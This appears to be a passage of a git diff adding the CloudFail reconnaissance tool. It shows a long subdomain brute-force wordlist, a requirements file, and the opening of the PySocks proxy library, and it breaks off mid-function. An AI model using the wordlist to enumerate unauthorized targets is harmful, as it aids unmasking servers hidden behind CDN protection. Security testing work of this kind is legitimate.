+db01 +db02 +db1 +db2 +db3 +db4 +dc +de +dealers +dec +ded +def +default +defiant +delaware +dell +delta +delta1 +demo +demon +demonstration +demos +denver +deploy +depot +des +desarrollo +descargas +design +designer +detroit +dev +dev.movie +dev.music +dev.news +dev.payment +dev.travel +dev.www +dev0 +dev01 +dev1 +devel +develop +developer +developers +development +device +devserver +devsql +dhcp +dhcp-bl +dhcp-in +dhcp4 +dial +dialuol +dialup +dictionary +diet +digital +digitaltv +dilbert +dion +dip +dip0 +dir +direct +directory +disc +discovery +discuss +discussion +discussions +disk +disney +distributer +distributers +dj +dk +dm +dmail +dmz +dnews +dns +dns-2 +dns0 +dns1 +dns2 +dns3 +dns4 +dns5 +do +docs +documentacion +documentos +domain +domains +dominio +domino +dominoweb +domolink +doom +download +download2 +downloads +downtown +dragon +drm +drupal +dsl +dsl-w +dt +dti +dublin +dv1 +dyn +dynamic +dynamicIP +dynip +dz +e +e-com +e-commerce +e0 +eagle +earth +east +ec +echo +ecom +ecommerce +ed +edge +edi +editor +edu +education +edward +ee +eg +eh +ejemplo +ekonomi +elections +elpaso +email +embratel +emhril +employees +empresa +empresas +en +enable +enews +eng +eng01 +eng1 +engine +engineer +engineering +enterprise +entertainment +eonet +epm +epsilon +er +erp +error +es +esd +esm +espanol +est +estadisticas +esx +et +eta +etb +eu +eur +europe +event +events +example +exchange +exec +ext.webchat +extern +external +extranet +f +f5 +facebook +falcon +family +farm +faststats +fax +fb +fbx +fe1 +fe2 +feed +feedback +feeds +fi +fibertel +field +file +files +fileserv +fileserver +filestore +filter +fin +finance +find +finger +fios +firewall +fix +fixes +fj +fk +fl +flash +florida +flow +flv +fm +fo +foobar +food +football +form +formacion +foro +foros +fortune +fortworth +forum +forums +foto +fotogaleri +fotos +foundry +fox +foxtrot +fr +france +frank +fred +free +freebsd +freebsd0 +freebsd01 +freebsd02 +freebsd1 +freebsd2 +freeware +fresno +frokca +front +frontdesk +fs +fsp +ftas +ftd +ftp +ftp- +ftp0 +ftp2 +ftp_ +ftpserver +fw +fw-1 +fw1 +fwd +fwsm +fwsm0 +fwsm01 +fwsm1 +g +ga +galeria +galerias +galleries +gallery +galway +game +game1 +games +gamma +gandalf +gate +gatekeeper +gateway +gauss +gd +ge +gemini +general +genericrev +george +georgia +germany +gf +gg +gh +gi +giga +gitlab +gl +glendale +global +gm +gmail +gn +go +gold +goldmine +golf +gopher +gordon +gourmet +gp +gprs +gps +gq +gr +green +group +groups +groupwise +gs +gsp +gsx +gt +gtcust +gu +guest +guides +gvt +gw +gw1 +gy +gye +h +h2 +hal +halflife +hawaii +health +hello +help +helpdesk +helponline +henry +hermes +hfc +hi +hidden +hidden-host +highway +history +hk +hkcable +hlrn +hm +hn +hobbes +hollywood +home +homebase +homer +homerun +honeypot +honolulu +host +host1 +host3 +host4 +host5 +hosting +hotel +hotjobs +houstin +houston +howto +hp +hpov +hr +hrlntx +hsia +hstntx +hsv +ht +http +https +hu +hub +humanresources +i +i0.comet.webchat +i1.comet.webchat +i2.comet.webchat +i3.comet.webchat +i4.comet.webchat +i5.comet.webchat +i6.comet.webchat +i7.comet.webchat +i8.comet.webchat +i9.comet.webchat +ia +ias +ibm +ibmdb +id +ida +idaho +idc +ids +ie +iern +ig +iis +il +illinois +im +im1 +im2 +im3 +im4 +image +images +imail +imap +imap4 +img +img0 +img01 +img02 +img1 +img10 +img11 +img2 +img3 +img4 +img5 +img6 +img7 +img8 +img9 +imgs +impsat +in +in-addr +inbound +inc +include +incoming +india +indiana +indianapolis +inet +info +informix +infoweb +inside +install +int +intelignet +inter +intern +internal +internalhost +international +internet +internode +intl +intranet +invalid +investor +investors +io +iota +iowa +ip +ip215 +ipad +ipcom +iphone +iplanet +iplsin +ipltin +ipmonitor +iprimus +ipsec +ipsec-gw +ipt +ipv4 +iq +ir +irc +ircd +ircserver +ireland +iris +irvine +irving +irvnca +is +isa +isaserv +isaserver +ism +isp +israel +isync +it +italy +ix +j +jabber +jan +japan +java +jax +je +jedi +jira +jm +jo +job +jobb +jobs +john +jp +jrun +jsc +juegos +juliet +juliette +juniper +k +k12 +kansas +kansascity +kappa +kb +kbtelecom +ke +kentucky +kerberos +keynote +kg +kh +ki +kid +kids +kilo +king +kk +klmzmi +km +kn +knowledgebase +knoxville +koe +korea +kp +kr +ks +ksc2mo +kvm +kw +ky +kz +l +la +lab +laboratory +labs +lambda +lan +laptop +laserjet +lasvegas +launch +lb +lc +ldap +legal +leo +lewis +lft +li +lib +library +lima +lincoln +link +linux +linux0 +linux01 +linux02 +linux1 +linux2 +list +lista +lists +listserv +listserver +lite +live +livnmi +lk +ll +lnk +load +loadbalancer +local +local.api +localhost +log +log0 +log01 +log02 +log1 +log2 +logfile +logfiles +logger +logging +loghost +login +logs +london +longbeach +losangeles +lotus +louisiana +love +lr +ls +lsan03 +lt +ltrkar +lu +luke +lv +lw +ly +lyris +m +m.plb1 +m.plb2 +m.slb1 +m.slb2 +m0 +m1 +m10 +m11 +m2 +m3 +m4 +m6 +m7 +m8 +m9 +ma +maa +mac +mac1 +mac10 +mac11 +mac2 +mac3 +mac4 +mac5 +mach +macintosh +madrid +magazine +mail +mail1 +mail1.mail +mail2 +mail2.mail +mail3 +mail3.mail +mail4 +mail4.mail +mail5.mail +mail6.mail +mail7.mail +mailer +mailgate +mailhost +mailing +maillist +maillists +mailroom +mailserv +mailsite +mailsrv +main +maine +maint +maintenance +mall +manage +management +manager +manufacturing +map +mapas +maps +market +marketing +marketplace +mars +marvin +mary +maryland +massachusetts +master +max +maxonline +mayday +mb2 +mc +mci +mco +md +mdaemon +me +med +media +mediakit +meet +megaegg +megared +mem +member +members +memphis +men +mercury +merlin +mesh +messages +messenger +mg +mgmt +mh +mi +mia +miamfl +miami +michigan +mickey +mid +midwest +mike +milwaukee +milwwi +minneapolis +minnesota +mirror +mis +mississippi +missouri +mk +ml +mm +mms +mn +mngt +mo +mob +mobi +mobil +mobile +mobileonline +mom +mon +money +monitor +monitoring +montana +moon +moscow +movie +movies +mozart +mp +mp3 +mpeg +mpg +mpls +mq +mr +mrt +mrtg +ms +ms-exchange +ms-sql +msexchange +msgrs.webchat +mssnks +mssql +mssql0 +mssql01 +mssql1 +msy +mt +mta +mtnl +mtu +mu +multimedia +munin +music +mv +mw +mweb +mx +mx1 +mx2 +my +mysql +mysql0 +mysql01 +mysql1 +mz +n +na +nagios +nam +name +names +nameserv +nameserver +nas +nashville +nat +navi +nb +nc +nd +nds +ne +nebraska +neo +neptune +net +netapp +netdata +netgear +netmeeting +netscaler +netscreen +netstats +netvision +network +nevada +new +newhampshire +newjersey +newmexico +neworleans +news +newsfeed +newsfeeds +newsgroups +newsletter +newsletters +newton +newyork +newzealand +nf +ng +nh +ni +nigeria +nj +nl +nm +nms +nntp +no +no-dns +no-dns-yet +node +nokia +nombres +nora +north +northcarolina +northdakota +northeast +northwest +not-set-yet +nothing +noticias +novell +november +now +np +nr +ns +ns- +ns0 +ns01 +ns02 +ns1 +ns2 +ns3 +ns4 +ns5 +ns_ +nswc +nt +nt4 +nt40 +ntmail +ntp +ntserver +nu +null +nv +nw +ny +nycap +nz +o +o1.email +oakland +oas +oc +ocean +ocn +ocs +odin +odn +office +offices +oh +ohio +oilfield +ok +okc +okcyok +oklahoma +oklahomacity +old +om +omah +omaha +omega +omicron +one +online +ontario +open +openbsd +openview +operations +ops +ops0 +ops01 +ops02 +ops1 +ops2 +opsware +optusnet +or +oracle +orange +order +orders +oregon +origin +origin-images +origin-video +origin-www +origin-www.sjl01 +orion +orlando +oscar +otrs +out +outbound +outgoing +outlook +outside +ov +owa +owa01 +owa02 +owa1 +owa2 +owb +ows +oxnard +p +pa +pac +page +pager +pages +paginas +papa +paris +parners +partner +partners +patch +patches +paul +pay +payment +payroll +pbx +pc +pc01 +pc1 +pc10 +pc101 +pc11 +pc12 +pc13 +pc14 +pc15 +pc16 +pc17 +pc18 +pc19 +pc2 +pc20 +pc21 +pc22 +pc23 +pc24 +pc25 +pc26 +pc27 +pc28 +pc29 +pc3 +pc30 +pc31 +pc32 +pc33 +pc34 +pc35 +pc36 +pc37 +pc38 +pc39 +pc4 +pc40 +pc41 +pc42 +pc43 +pc44 +pc45 +pc46 +pc47 +pc48 +pc49 +pc5 +pc50 +pc51 +pc52 +pc53 +pc54 +pc55 +pc56 +pc57 +pc58 +pc59 +pc6 +pc60 +pc7 +pc8 +pc9 +pcmail +pcs +pda +pdc +pe +pegasus +pennsylvania +peoplesoft +personal +pet +pf +pg +pgp +ph +phi +philadelphia +phnx +phoenix +phoeniz +phone +phones +photo +photos +pi +pics +pictures +pink +pipex-gw +pittsburgh +pix +pk +pki +pl +plala +plano +platinum +pltn13 +pluto +pm +pm1 +pn +po +podcast +point +pol +policy +polls +pool +pools +pop +pop3 +portal +portals +portfolio +portland +post +postales +postoffice +ppp +ppp1 +ppp10 +ppp11 +ppp12 +ppp13 +ppp14 +ppp15 +ppp16 +ppp17 +ppp18 +ppp19 +ppp2 +ppp20 +ppp21 +ppp3 +ppp4 +ppp5 +ppp6 +ppp7 +ppp8 +ppp9 +pppoe +pptp +pr +prensa +present +press +prima +printer +printserv +printserver +priv +privacy +private +problemtracker +prod-empresarial +prod-infinitum +prodigy +products +profile +profiles +project +projects +promo +proxy +prueba +pruebas +ps +psi +pss +pt +ptld +ptr +pub +public +pubs +puppet +purple +pv +pw +py +q +qa +qmail +qotd +qq +quake +quangcao +quebec +queen +quotes +r +r01 +r02 +r1 +r2 +ra +radio +radius +ramstein +range217-42 +range217-43 +range217-44 +range86-128 +range86-129 +range86-130 +range86-131 +range86-132 +range86-133 +range86-134 +range86-135 +range86-136 +range86-137 +range86-138 +range86-139 +range86-140 +range86-141 +range86-142 +range86-143 +range86-144 +range86-145 +range86-146 +range86-147 +range86-148 +range86-149 +range86-150 +range86-151 +range86-152 +range86-153 +range86-154 +range86-155 +range86-156 +range86-157 +range86-158 +range86-159 +range86-160 +range86-161 +range86-162 +range86-163 +range86-164 +range86-165 +range86-166 +range86-167 +range86-168 +range86-169 +range86-170 +range86-171 +range86-172 +range86-173 +range86-174 +range86-176 +range86-177 +range86-178 +range86-179 +range86-180 +range86-181 +range86-182 +range86-183 +range86-184 +range86-185 +range86-186 +range86-187 +range86-188 +range86-189 +rapidsite +raptor +ras +rc +rcs +rcsntx +rd +rdns +re +read +realserver +realty +record +recruiting +red +redhat +redmine +ref +reference +reg +register +registro +registry +regs +reklam +relay +rem +remote +remstats +reports +res +research +reseller +reserved +resnet +results +resumenes +retail +rev +reverse +rho +rhodeisland +ri +ris +river +rmi +ro +robert +rochester +romeo +root +rose +route +router +router1 +rs +rss +rt +rtc5 +rtelnet +rtr +rtr01 +rtr1 +ru +rune +rw +rwhois +s +s1 +s16 +s17 +s18 +s2 +s201 +s202 +s203 +s207 +s216 +s221 +s222 +s224 +s227 +s230 +s233 +s236 +s237 +s238 +s239 +s241 +s245 +s247 +s248 +s249 +s251 +s252 +s253 +s254 +s255 +s256 +s257 +s258 +s259 +s262 +s264 +s265 +s266 +s267 +s268 +s269 +s270 +s271 +s272 +s273 +s274 +s275 +s276 +s277 +s278 +s280 +s281 +s285 +s286 +s287 +s288 +s289 +s29 +s290 +s291 +s295 +s296 +s297 +s298 +s299 +s30 +s301 +s302 +s303 +s304 +s305 +s306 +s307 +s308 +s309 +s31 +s310 +s311 +s312 +s313 +s314 +s315 +s316 +s317 +s318 +s320 +s321 +s324 +s325 +s326 +s329 +s33 +s330 +s331 +s332 +s333 +s334 +s335 +s336 +s337 +s338 +s339 +s340 +s341 +s342 +s343 +s344 +s345 +s346 +s347 +s348 +s349 +s350 +s351 +s352 +s353 +s354 +s355 +s356 +s357 +s4 +s40 +s401 +s402 +s403 +s406 +s410 +s411 +s412 +s413 +s414 +s415 +s416 +s417 +s418 +s419 +s420 +s421 +s422 +s424 +s425 +s426 +s427 +s428 +s429 +s430 +s431 +s432 +s433 +s434 +s435 +s436 +s437 +s438 +s439 +s440 +s441 +s442 +s443 +s444 +s445 +s446 +s447 +s448 +s449 +s450 +s451 +s452 +s453 +s454 +s455 +s456 +s457 +s458 +s459 +s460 +s461 +s462 +s463 +s464 +s465 +s466 +s467 +s468 +s469 +s470 +s471 +s472 +s473 +s474 +s475 +s476 +s477 +s5 +s7 +sa +sac +sacramento +sadmin +safe +sales +saltlake +sam +san +sanantonio +sandbox +sandiego +sanfrancisco +sanjose +saskatchewan +sasknet +saturn +savecom +sb +sbs +sc +scanner +schedules +scotland +scotty +screenshot +scrm01 +sd +sdf +sdsl +se +sea +search +season +seattle +sec +secim +secret +secure +secure.dev +secured +securid +security +seed +segment-119-226 +segment-119-227 +segment-124-30 +segment-124-7 +seminar +sendmail +seri +serv +serv2 +server +server1 +servers +service +services +services2 +servicio +servidor +setup +sfldmi +sg +sh +share +shared +sharepoint +shareware +shipping +shop +shoppers +shopping +showcase +shv +si +siebel +sierra +sigma +signin +signup +silver +sim +sip +sirius +site +sites +siw +sj +sk +skywalker +sl +slackware +slkc +slmail +sm +smc +smoke +sms +sms2 +smtp +smtp1 +smtp2 +smtp3 +smtphost +sn +snantx +sndg02 +sndgca +snfc21 +sniffer +snmp +snmpd +snoopy +snort +sntcca +so +so-net +socal +soccer +social +software +sol +solaris +solr +solutions +soporte +sorry +source +sourcecode +sourcesafe +south +southcarolina +southdakota +southeast +southwest +spain +spam +spawar +speed +speedtest +speedy +spider +spiderman +spkn +splunk +spock +spokane +spor +sport +sports +spotlight +springfield +sprint +sq1 +sqa +sql +sql0 +sql01 +sql1 +sql7 +sqlserver +squid +sr +ss +ssd +ssh +ssl +ssl0 +ssl01 +ssl1 +sso +st +sta +staff +stage +staging +start +stat +static +static-ip-92-71 +staticIP +statistics +stats +status +stl2mo +stlouis +stlsmo +stock +storage +store +storefront +streaming +stronghold +strongmail +student +studio +submit +subscribe +subversion +sun +sun0 +sun01 +sun02 +sun1 +sun2 +superman +supplier +suppliers +support +survey +surveys +sv +svn +sw +sw0 +sw01 +sw1 +sweden +switch +switzerland +sy +sybase +sydney +sync +sysadmin +sysback +syslog +syslogs +system +sz +t +t-com +tachikawa +tacoma +taiwan +talk +tampa +tango +tau +tbcn +tc +tcl +tcso +td +tdatabrasil +team +tech +technology +techsupport +telecom +telefonia +telemar +telephone +telephony +telesp +telkomadsl +telnet +temp +tennessee +terminal +terminalserver +termserv +test +test.www +test1 +test2k +testbed +testing +testlab +testlinux +testserver +testsite +testsql +testxp +texas +tf +tfn +tftp +tg +th +thailand +theta +thor +ticket +tienda +tiger +time +tinp +titan +tivoli +tj +tk +tm +tn +to +tokyo +toledo +tom +tool +toolbar +tools +toplayer +tor +toronto +tour +tp +tpgi +tr +tracker +tracking +train +training +transfers +transit +translate +travel +travel2 +trinidad +trinity +ts +ts1 +ts31 +tsinghua +tt +tucson +tukrga +tukw +tulsa +tunnel +tv +tvadmin +tw +twcny +tx +txr +tz +u +ua +ucom +uddi +ug +uio +uk +um +unassigned +undefined +undefinedhost +uniform +uninet +union +unitedkingdom +unitedstates +unix +unixware +unk +unknown +unspec170108 +unspec207128 +unspec207129 +unspec207130 +unspec207131 +unused-space +uol +upc-a +upc-h +upc-i +upc-j +update +updates +upload +ups +upsilon +uranus +urchin +us +us.m +usa +usenet +user +users +ut +utah +utilities +uunet +uy +uz +v +v4 +va +vader +validip +van +vantive +vault +vc +ve +vega +vegas +veloxzone +vend +vendors +venus +vermont +vg +vi +victor +vid1 +vid2 +video +video1 +video2 +videos +vie +viking +violet +vip +virginia +vista +vm +vmserver +vmware +vn +vnc +vodacom +voice +voicemail +voip +vote +voyager +vpn +vpn0 +vpn01 +vpn02 +vpn1 +vpn2 +vsnl +vt +vu +w +w0 +w1 +w10 +w11 +w12 +w13 +w14 +w15 +w17 +w18 +w19 +w2 +w20 +w21 +w22 +w23 +w24 +w3 +w4 +w5 +w6 +w7 +w8 +w9 +wa +wais +wakwak +wallet +wam +wan +wap +wap1 +wap2 +wap3 +war +warehouse +washington +water +wc3 +weather +web +web1 +web10 +web2 +web3 +webaccess +webadmin +webalizer +webboard +webcache +webcam +webcast +webchat +webdev +webdisk +webdocs +webfarm +webhelp +weblib +weblogic +webmail +webmaster +webproxy +webring +webs +webserv +webserver +webservices +website +websites +websphere +websrv +websrvr +webstats +webstore +websvr +webtrends +welcome +west +westnet +westvirginia +wf +whiskey +white +whm +whois +wi +wichita +widget +widgets +wiki +wililiam +wimax-client +win +win01 +win02 +win1 +win2 +win2000 +win2003 +win2k +win2k3 +windows +windows01 +windows02 +windows1 +windows2 +windows2000 +windows2003 +windowsxp +wingate +winnt +winproxy +wins +winserve +winxp +wire +wireless +wisconsin +wlan +wlfrct +woh +woman +women +wood +wordpress +work +world +wotnoh +write +ws +ws1 +ws10 +ws11 +ws12 +ws13 +ws2 +ws3 +ws4 +ws5 +ws6 +ws7 +ws8 +ws9 +wusage +wv +ww +www +www- +www-01 +www-02 +www-1 +www-2 +www-int +www.ad +www.adimg +www.ads +www.api +www.blog +www.cdn +www.chat +www.demo +www.dev +www.game +www.games +www.help +www.hosting +www.jobs +www.m +www.mail +www.mobile +www.music +www.news +www.plb1 +www.plb2 +www.plb3 +www.plb4 +www.plb5 +www.plb6 +www.search +www.shopping +www.slb1 +www.slb2 +www.slb3 +www.slb4 +www.slb5 +www.slb6 +www.sms +www.tv +www.wap +www0 +www01 +www02 +www1 +www10 +www15 +www16 +www17 +www18 +www19 +www2 +www20 +www22 +www23 +www24 +www25 +www26 +www270 +www3 +www30 +www31 +www32 +www36 +www37 +www39 +www4 +www41 +www43 +www44 +www47 +www48 +www49 +www5 +www51 +www54 +www55 +www56 +www6 +www61 +www63 +www64 +www65 +www66 +www67 +www68 +www69 +www70 +www74 +www81 +www82 +www9 +www90 +www_ +wwwchat +wwwdev +wwwmail +wy +wyoming +x +x-ray +x1 +x3 +xdsl +xi +xlogan +xmail +xml +xp +xr +y +y12 +yahoo +yankee +ye +yellow +yokohama +young +yournet +yt +yu +z +z-log +za +zabbix +zaq +zebra +zera +zeus +zippy +zlog +zm +zulu +zw +zz \ No newline at end of file diff --git a/scripts/CloudFail/requirements.txt b/scripts/CloudFail/requirements.txt new file mode 100644 index 00000000..cad0321c --- /dev/null +++ b/scripts/CloudFail/requirements.txt @@ -0,0 +1,9 @@ +beautifulsoup4==4.6.0 +bs4==0.0.1 +certifi==2017.4.17 +chardet==3.0.4 +colorama==0.3.9 +idna==2.5 +requests>=2.20.0 +urllib3==1.23 +win_inet_pton==1.0.1 diff --git a/scripts/CloudFail/socks.py b/scripts/CloudFail/socks.py new file mode 100644 index 00000000..1858d86d --- /dev/null +++ b/scripts/CloudFail/socks.py @@ -0,0 +1,765 @@ +""" +SocksiPy - Python SOCKS module. +Version 1.5.7 + +Copyright 2006 Dan-Haim. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +3. Neither the name of Dan Haim nor the names of his contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA +OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. + + +This module provides a standard socket-like interface for Python +for tunneling connections through SOCKS proxies. + +=============================================================================== + +Minor modifications made by Christopher Gilbert (http://motomastyle.com/) +for use in PyLoris (http://pyloris.sourceforge.net/) + +Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) +mainly to merge bug fixes found in Sourceforge + +Modifications made by Anorov (https://github.com/Anorov) +-Forked and renamed to PySocks +-Fixed issue with HTTP proxy failure checking (same bug that was in the old ___recvall() method) +-Included SocksiPyHandler (sockshandler.py), to be used as a urllib2 handler, + courtesy of e000 (https://github.com/e000): https://gist.github.com/869791#file_socksipyhandler.py +-Re-styled code to make it readable + -Aliased PROXY_TYPE_SOCKS5 -> SOCKS5 etc. + -Improved exception handling and output + -Removed irritating use of sequence indexes, replaced with tuple unpacked variables + -Fixed up Python 3 bytestring handling - chr(0x03).encode() -> b"\x03" + -Other general fixes +-Added clarification that the HTTP proxy connection method only supports CONNECT-style tunneling HTTP proxies +-Various small bug fixes +""" + +__version__ = "1.5.7" + +import socket +import struct +from errno import EOPNOTSUPP, EINVAL, EAGAIN +from io import BytesIO +from os import SEEK_CUR +from collections import Callable +from base64 import b64encode + +PROXY_TYPE_SOCKS4 = SOCKS4 = 1 +PROXY_TYPE_SOCKS5 = SOCKS5 = 2 +PROXY_TYPE_HTTP = HTTP = 3 + +PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} +PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) + +_orgsocket = _orig_socket = socket.socket + +class ProxyError(IOError): + """ + socket_err contains original socket.error exception. + """ + def __init__(self, msg, socket_err=None): + self.msg = msg + self.socket_err = socket_err + + if socket_err: + self.msg += ": {0}".format(socket_err) + + def __str__(self): + return self.msg + +class GeneralProxyError(ProxyError): pass +class ProxyConnectionError(ProxyError): pass +class SOCKS5AuthError(ProxyError): pass +class SOCKS5Error(ProxyError): pass +class SOCKS4Error(ProxyError): pass +class HTTPError(ProxyError): pass + +SOCKS4_ERRORS = { 0x5B: "Request rejected or failed", + 0x5C: "Request rejected because SOCKS server cannot connect to identd on the client", + 0x5D: "Request rejected because the client program and identd report different user-ids" + } + +SOCKS5_ERRORS = { 0x01: "General SOCKS server failure", + 0x02: "Connection not allowed by ruleset", + 0x03: "Network unreachable", + 0x04: "Host unreachable", + 0x05: "Connection refused", + 0x06: "TTL expired", + 0x07: "Command not supported, or protocol error", + 0x08: "Address type not supported" + } + +DEFAULT_PORTS = { SOCKS4: 1080, + SOCKS5: 1080, + HTTP: 8080 + } + +def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None): + """ + set_default_proxy(proxy_type, addr[, port[, rdns[, username, password]]]) + + Sets a default proxy which all further socksocket objects will use, + unless explicitly changed. All parameters are as for socket.set_proxy(). + """ + socksocket.default_proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + +setdefaultproxy = set_default_proxy + +def get_default_proxy(): + """ + Returns the default proxy, set by set_default_proxy. + """ + return socksocket.default_proxy + +getdefaultproxy = get_default_proxy + +def wrap_module(module): + """ + Attempts to replace a module's socket library with a SOCKS socket. Must set + a default proxy using set_default_proxy(...) first. + This will only work on modules that import socket directly into the namespace; + most of the Python Standard Library falls into this category. + """ + if socksocket.default_proxy: + module.socket.socket = socksocket + else: + raise GeneralProxyError("No default proxy specified") + +wrapmodule = wrap_module + +def create_connection(dest_pair, proxy_type=None, proxy_addr=None, + proxy_port=None, proxy_rdns=True, + proxy_username=None, proxy_password=None, + timeout=None, source_address=None, + socket_options=None): + """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object + + Like socket.create_connection(), but connects to proxy + before returning the socket object. + + dest_pair - 2-tuple of (IP/hostname, port). + **proxy_args - Same args passed to socksocket.set_proxy() if present. + timeout - Optional socket timeout value, in seconds. + source_address - tuple (host, port) for the socket to bind to as its source + address before connecting (only for compatibility) + """ + # Remove IPv6 brackets on the remote address and proxy address. + remote_host, remote_port = dest_pair + if remote_host.startswith('['): + remote_host = remote_host.strip('[]') + if proxy_addr and proxy_addr.startswith('['): + proxy_addr = proxy_addr.strip('[]') + + err = None + + # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. + for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): + family, socket_type, proto, canonname, sa = r + sock = None + try: + sock = socksocket(family, socket_type, proto) + + if socket_options is not None: + for opt in socket_options: + sock.setsockopt(*opt) + + if isinstance(timeout, (int, float)): + sock.settimeout(timeout) + + if proxy_type is not None: + sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, + proxy_username, proxy_password) + if source_address is not None: + sock.bind(source_address) + + sock.connect((remote_host, remote_port)) + return sock + + except socket.error as e: + err = e + if sock is not None: + sock.close() + sock = None + + if err is not None: + raise err + + raise socket.error("gai returned empty list.") + +class _BaseSocket(socket.socket): + """Allows Python 2's "delegated" methods such as send() to be overridden + """ + def __init__(self, *pos, **kw): + _orig_socket.__init__(self, *pos, **kw) + + self._savedmethods = dict() + for name in self._savenames: + self._savedmethods[name] = getattr(self, name) + delattr(self, name) # Allows normal overriding mechanism to work + + _savenames = list() + +def _makemethod(name): + return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) +for name in ("sendto", "send", "recvfrom", "recv"): + method = getattr(_BaseSocket, name, None) + + # Determine if the method is not defined the usual way + # as a function in the class. + # Python 2 uses __slots__, so there are descriptors for each method, + # but they are not functions. + if not isinstance(method, Callable): + _BaseSocket._savenames.append(name) + setattr(_BaseSocket, name, _makemethod(name)) + +class socksocket(_BaseSocket): + """socksocket([family[, type[, proto]]]) -> socket object + + Open a SOCKS enabled socket. The parameters are the same as + those of the standard socket init. In order for SOCKS to work, + you must specify family=AF_INET and proto=0. + The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. + """ + + default_proxy = None + + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs): + if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): + msg = "Socket type must be stream or datagram, not {!r}" + raise ValueError(msg.format(type)) + + _BaseSocket.__init__(self, family, type, proto, *args, **kwargs) + self._proxyconn = None # TCP connection to keep UDP relay alive + + if self.default_proxy: + self.proxy = self.default_proxy + else: + self.proxy = (None, None, None, None, None, None) + self.proxy_sockname = None + self.proxy_peername = None + + def _readall(self, file, count): + """ + Receive EXACTLY the number of bytes requested from the file object. + Blocks until the required number of bytes have been received. + """ + data = b"" + while len(data) < count: + d = file.read(count - len(data)) + if not d: + raise GeneralProxyError("Connection closed unexpectedly") + data += d + return data + + def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None): + """set_proxy(proxy_type, addr[, port[, rdns[, username[, password]]]]) + Sets the proxy to be used. + + proxy_type - The type of the proxy to be used. Three types + are supported: PROXY_TYPE_SOCKS4 (including socks4a), + PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP + addr - The address of the server (IP or DNS). + port - The port of the server. Defaults to 1080 for SOCKS + servers and 8080 for HTTP proxy servers. + rdns - Should DNS queries be performed on the remote side + (rather than the local side). The default is True. + Note: This has no effect with SOCKS4 servers. + username - Username to authenticate with to the server. + The default is no authentication. + password - Password to authenticate with to the server. + Only relevant when username is also provided. + """ + self.proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + setproxy = set_proxy + + def bind(self, *pos, **kw): + """ + Implements proxy connection for UDP sockets, + which happens during the bind() phase. + """ + proxy_type, proxy_addr, proxy_port, rdns, username, password = self.proxy + if not proxy_type or self.type != socket.SOCK_DGRAM: + return _orig_socket.bind(self, *pos, **kw) + + if self._proxyconn: + raise socket.error(EINVAL, "Socket already bound to an address") + if proxy_type != SOCKS5: + msg = "UDP only supported by SOCKS5 proxy type" + raise socket.error(EOPNOTSUPP, msg) + _BaseSocket.bind(self, *pos, **kw) + + # Need to specify actual local port because + # some relays drop packets if a port of zero is specified. + # Avoid specifying host address in case of NAT though. + _, port = self.getsockname() + dst = ("0", port) + + self._proxyconn = _orig_socket() + proxy = self._proxy_addr() + self._proxyconn.connect(proxy) + + UDP_ASSOCIATE = b"\x03" + _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) + + # The relay is most likely on the same host as the SOCKS proxy, + # but some proxies return a private IP address (10.x.y.z) + host, _ = proxy + _, port = relay + _BaseSocket.connect(self, (host, port)) + self.proxy_sockname = ("0.0.0.0", 0) # Unknown + + def sendto(self, bytes, *args, **kwargs): + if self.type != socket.SOCK_DGRAM: + return _BaseSocket.sendto(self, bytes, *args, **kwargs) + if not self._proxyconn: + self.bind(("", 0)) + + address = args[-1] + flags = args[:-1] + + header = BytesIO() + RSV = b"\x00\x00" + header.write(RSV) + STANDALONE = b"\x00" + header.write(STANDALONE) + self._write_SOCKS5_address(address, header) + + sent = _BaseSocket.send(self, header.getvalue() + bytes, *flags, **kwargs) + return sent - header.tell() + + def send(self, bytes, flags=0, **kwargs): + if self.type == socket.SOCK_DGRAM: + return self.sendto(bytes, flags, self.proxy_peername, **kwargs) + else: + return _BaseSocket.send(self, bytes, flags, **kwargs) + + def recvfrom(self, bufsize, flags=0): + if self.type != socket.SOCK_DGRAM: + return _BaseSocket.recvfrom(self, bufsize, flags) + if not self._proxyconn: + self.bind(("", 0)) + + buf = BytesIO(_BaseSocket.recv(self, bufsize, flags)) + buf.seek(+2, SEEK_CUR) + frag = buf.read(1) + if ord(frag): + raise NotImplementedError("Received UDP packet fragment") + fromhost, 